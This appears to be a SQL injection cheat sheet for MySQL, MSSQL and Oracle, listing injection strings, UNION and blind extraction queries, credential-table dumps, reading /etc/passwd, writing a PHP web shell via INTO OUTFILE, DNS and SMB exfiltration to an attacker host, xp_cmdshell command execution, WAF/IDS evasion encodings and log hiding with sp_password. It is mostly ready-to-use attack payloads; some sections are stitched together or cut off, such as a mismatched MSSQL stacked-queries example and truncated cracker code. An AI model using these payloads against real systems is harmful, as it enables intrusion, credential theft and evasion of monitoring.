MySQL Default Databases

mysql	Requires root privileges
information_schema	Availalble from version 5 and higher

Testing Injection

False means the query is invalid (MySQL errors/missing content on website)
True means the query is valid (content is displayed as usual)

• Strings
• Numeric
• In a login

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

'='

'LIKE'

'=0--+


Example:
• SELECT * FROM Users WHERE id = '1''';
• SELECT * FROM Users WHERE id = 3-2;
• SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
Note: 

• You can use as many apostrophes/quotations as you want as long as they pair up.
• SELECT * FROM Articles WHERE id = '121'''''''''''''
• It's also possible to continue the statement after the chain of quotes.
• SELECT '1'''''"" UNION SELECT '2' # 1 and 2
• Quotes escape quotes.
• SELECT '1''' # 1'



Comment Out Query

The following can be used to comment out the rest of the query after your injection:


#	Hash comment
/*	C-style comment
-- -	SQL comment
;	Nullbyte
`	Backtick


Example:
• SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
• SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
Note:

• The backtick can only be used to end a query when used as an alias.



Testing Version

• VERSION()
• @@VERSION
• @@GLOBAL.VERSION

Example:
• True if MySQL version is 5.
• SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
Note:

• Output will contain -nt-log in case the DBMS runs on a Windows based machine.



Database Credentials

Table	mysql.user
Columns	user, password
Current User	user(), current_user(), current_user, system_user(), session_user()


Example:
• SELECT current_user;
• SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

Database Names

Tables	information_schema.schemata, mysql.db
Columns	schema_name, db
Current DB	database(), schema()


Examples:
• SELECT database();
• SELECT schema_name FROM information_schema.schemata;
• SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

Server Hostname

• @@HOSTNAME

Examples:
• SELECT @@hostname;

Tables and Columns

Determining number of columns

• Order By
• Error Based

ORDER BY n+1;

Note:

• Keep incrementing the number until you get a False response.



Example:


Given the query SELECT username, password, permission FROM Users WHERE id = '1';


1' ORDER BY 1--+	True
1' ORDER BY 2--+	True
1' ORDER BY 3--+	True
1' ORDER BY 4--+	False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+	True

Retrieving Tables

• Union
• Blind
• Error

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

Note:
• version=9 for MySQL 4
• version=10 for MySQL 5



Retrieving Columns

• Union
• Blind
• Error
• PROCEDURE ANALYSE()

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Retrieving Multiple Tables/Columns at once

• SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:
• SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
      



• SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

Example:
• SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';

Output:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
     

Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = 'username';	Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';	Finds the table names for any columns that contain the word user.

Find Columns from Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';	Finds the columns for the Users table.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';	Finds the column names for any tables that contain the word user.

Avoiding the use of quotations

SELECT * FROM Users WHERE username = 0x61646D696E	Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)	CHAR() Function.

String Concatenation

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

Note:
• CONCAT() will return NULL if any of its arguements is NULL. Instead use CONCAT_WS() .
• The first argument of CONCAT_WS() defines the separator for the rest of its arguments.



Conditional Statements

CASE

IF()

IFNULL()

NULLIF()


Example:
• SELECT IF(1=1, true, false);
• SELECT CASE WHEN 1=1 THEN true ELSE false END;

Timing

SLEEP()	MySQL 5
BENCHMARK()	MySQL 4/5


Example:
• ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

Privileges

File Privileges

The following queries can help determine the FILE privileges for a given user.


SELECT file_priv FROM mysql.user WHERE user = 'username';	Root privileges required	MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';	No privileges required	MySQL 5

Reading Files

Files can be read if the user has FILE privileges.

• LOAD_FILE()

Example:
• SELECT LOAD_FILE('/etc/passwd');
• SELECT LOAD_FILE(0x2F6574632F706173737764);
Note:

• File must be located on the server host.
• The basedirectory for LOAD_FILE() is @@datadir .
• The file must be readable by the MySQL user.
• The file size must be less than max_allowed_packet.
• The default size for @@max_allowed_packet is 1047552 bytes.



Writing Files

Files can be created if the user has FILE privileges.

• INTO OUTFILE/DUMPFILE

Examples:
• To write a PHP shell:
• SELECT '' INTO OUTFILE '/var/www/shell.php';


• and then access it at:
• http://localhost/shell.php?c=cat%20/etc/passwd
• To write a downloader:
• SELECT '' INTO OUTFILE '/var/www/get.php'


• and then access it at:
• http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
Note:

• Files cannot be overwritten with INTO OUTFILE .
• INTO OUTFILE must be the last statement in the query.
• There is no way to encode the pathname, so quotes are required.



Out Of Band Channeling

DNS Requests

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

SMB Requests

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

Stacked Queries with PDO

Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.
Example:
• SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Examples:
• UNION SELECT /*!50000 5,null;*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
• SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
Note:
• The first example returns the version; it uses a UNION with 2 columns.
• The second example demonstrates how this can be useful for bypassing a WAF/IDS.



Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.


09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
A0	Non-breaking Space
20	Space


Example:
• '%0A%09UNION%0CSELECT%A0NULL%20%23

Parentheses can also be used to avoid the use of spaces.


28	(
29	)


Example:
• UNION(SELECT(column)FROM(table))

Allowed Intermediary Characters after AND/OR

20	Space
2B	+
2D	-
7E	~
21	!
40	@


Example:
• SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Note:

• dual is a dummy table which can be used for testing.



Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.


URL Encoding	SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding	SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding	SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;

Obfuscating with Comments

Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.
Example:
• 1'#
  AND 0--
  UNION# I am a comment!
  SELECT@tmp:=table_name x FROM--
  `information_schema`.tables LIMIT 1# 
URL Encoded the injection would look like:

• 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
Functions that take no arguments can also be obfuscated with comments and whitespaces.

• VERSION/**/%A0 (/*comment*/)

Password Hashing

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:


PASSWORD('mypass')

6f8c114b58f2ce9e

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:


PASSWORD('mypass')

*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

Password Cracker

Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords.


MySQL < 4.1 Password Cracker

This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.


/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows

MSSQL

Default Databases

pubs	Not available on MSSQL 2005
model	Available in all versions
msdb	Available in all versions
tempdb	Available in all versions
northwind	Available in all versions
information_schema	Availalble from MSSQL 2000 and higher

Comment Out Query

The following can be used to comment out the rest of the query after your injection:


/*	C-style comment
--	SQL comment
;	Nullbyte


Example:
• SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
• SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

Testing Version

• @@VERSION

Example:
• True if MSSQL version is 2008.
• SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
Note:

• Output will also contain the version of the Windows Operating System.



Database Credentials

Database..Table	master..syslogins, master..sysprocesses
Columns	name, loginame
Current User	user, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials	SELECT user, password FROM master.dbo.sysxlogins


Example:
• Return current user:
• SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;


• Check if user is admin:
• SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

Database Names

Database.Table	master..sysdatabases
Column	name
Current DB	DB_NAME(i)


Examples:
• SELECT DB_NAME(5);
• SELECT name FROM master..sysdatabases;

Server Hostname

@@SERVERNAME

SERVERPROPERTY()


Examples:
• SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
Note:
• SERVERPROPERTY() is available from MSSQL 2005 and higher.



Tables and Columns

Determining number of columns

ORDER BY n+1;

Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';


1' ORDER BY 1--	True
1' ORDER BY 2--	True
1' ORDER BY 3--	True
1' ORDER BY 4--	False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--	True

Note:
• Keep incrementing the number until you get a False response.


The following can be used to get the columns in the current query.

GROUP BY / HAVING

Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';


1' HAVING 1=1--	Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username HAVING 1=1--	Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password HAVING 1=1--	Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password, permission HAVING 1=1--	No Error

Note:
• No error will be returned once all columns have been included.



Retrieving Tables

We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

• Union
• Blind
• Error

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

Note:
• Xtype = 'U' is for User-defined tables. You can use 'V' for views.



Retrieving Columns

We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

• Union
• Blind
• Error

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

• Create Temp Table/Column and Insert Data:
• AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
• Dump Content:
• AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
• Delete Table:
• AND 1=0; DROP TABLE TMP_DB;
Note:
• You can encode your query in hex to "obfuscate" your attack.
• ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--



Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

String Concatenation

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';

Conditional Statements

IF

CASE


Example:
• IF 1=1 SELECT 'true' ELSE SELECT 'false';
• SELECT CASE WHEN 1=1 THEN true ELSE false END;
Note:
• IF cannot be used inside a SELECT statement.



Timing

WAITFOR DELAY 'H:M:S';

Example:
• IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

• EXEC master.dbo.xp_cmdshell 'cmd';

Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries:


EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'xp_cmdshell', 1

EXEC sp_configure reconfigure


Alternatively, you can create your own procedure to achieve the same results:


DECLARE @execmd INT

EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT

EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'


If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:


EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'OLE Automation Procedures', 1

EXEC sp_configure reconfigure


Example:
• Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
• ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'

'%2Bdir,'
','') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

• Dump Content:
• ' UNION SELECT tbl FROM TMP_DB--

• Delete Table:
• ' DROP TABLE TMP_DB--

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

• SP_PASSWORD

Example:

• ' AND 1=1--sp_password

Output:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
     

Stacked Queries

MSSQL supports stacked queries.
Example:

2D	-
2E	.
5C	\
7E	~

Example:

• SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

Note:

• The backslash does not seem to work with MSSQL 2000.

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding	SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding	SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding	SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding	' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)	%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Password Cracker

This tool is designed to crack Microsoft SQL Server 2000 passwords.

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)

Comment Out Query

The following can be used to comment out the rest of the query after your injection:


--	SQL comment


Example:
• SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';

Testing Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

Note:

• All SELECT statements in Oracle must contain a table.
• dual is a dummy table which can be used for testing.



Database Credentials

SELECT username FROM all_users;	Available on all versions
SELECT name, password from sys.user$;	Privileged, <= 10g
SELECT name, spare4 from sys.user$;	Privileged, <= 11g

Database Names

Current Database

SELECT name FROM v$database;

SELECT instance_name FROM v$instance

SELECT global_name FROM global_name

SELECT SYS.DATABASE_NAME FROM DUAL

User Databases

SELECT DISTINCT owner FROM all_tables;

Server Hostname

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

Tables and Columns

Retrieving Tables

SELECT table_name FROM all_tables;

Retrieving Columns

SELECT column_name FROM all_tab_columns;

Find Tables from Column Name

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

Find Columns From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

Avoiding the use of quotations

Unlike other RDBMS, Oracle allows table/column names to be encoded.


SELECT 0x09120911091 FROM dual;	Hex Encoding.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;	CHR() Function.

String Concatenation

SELECT 'a'||'d'||'mi'||'n' FROM dual;

Conditional Statements

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

Heavy Time Delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

Privileges

SELECT privilege FROM session_privs;

SELECT grantee, granted_role FROM dba_role_privs; (Privileged)
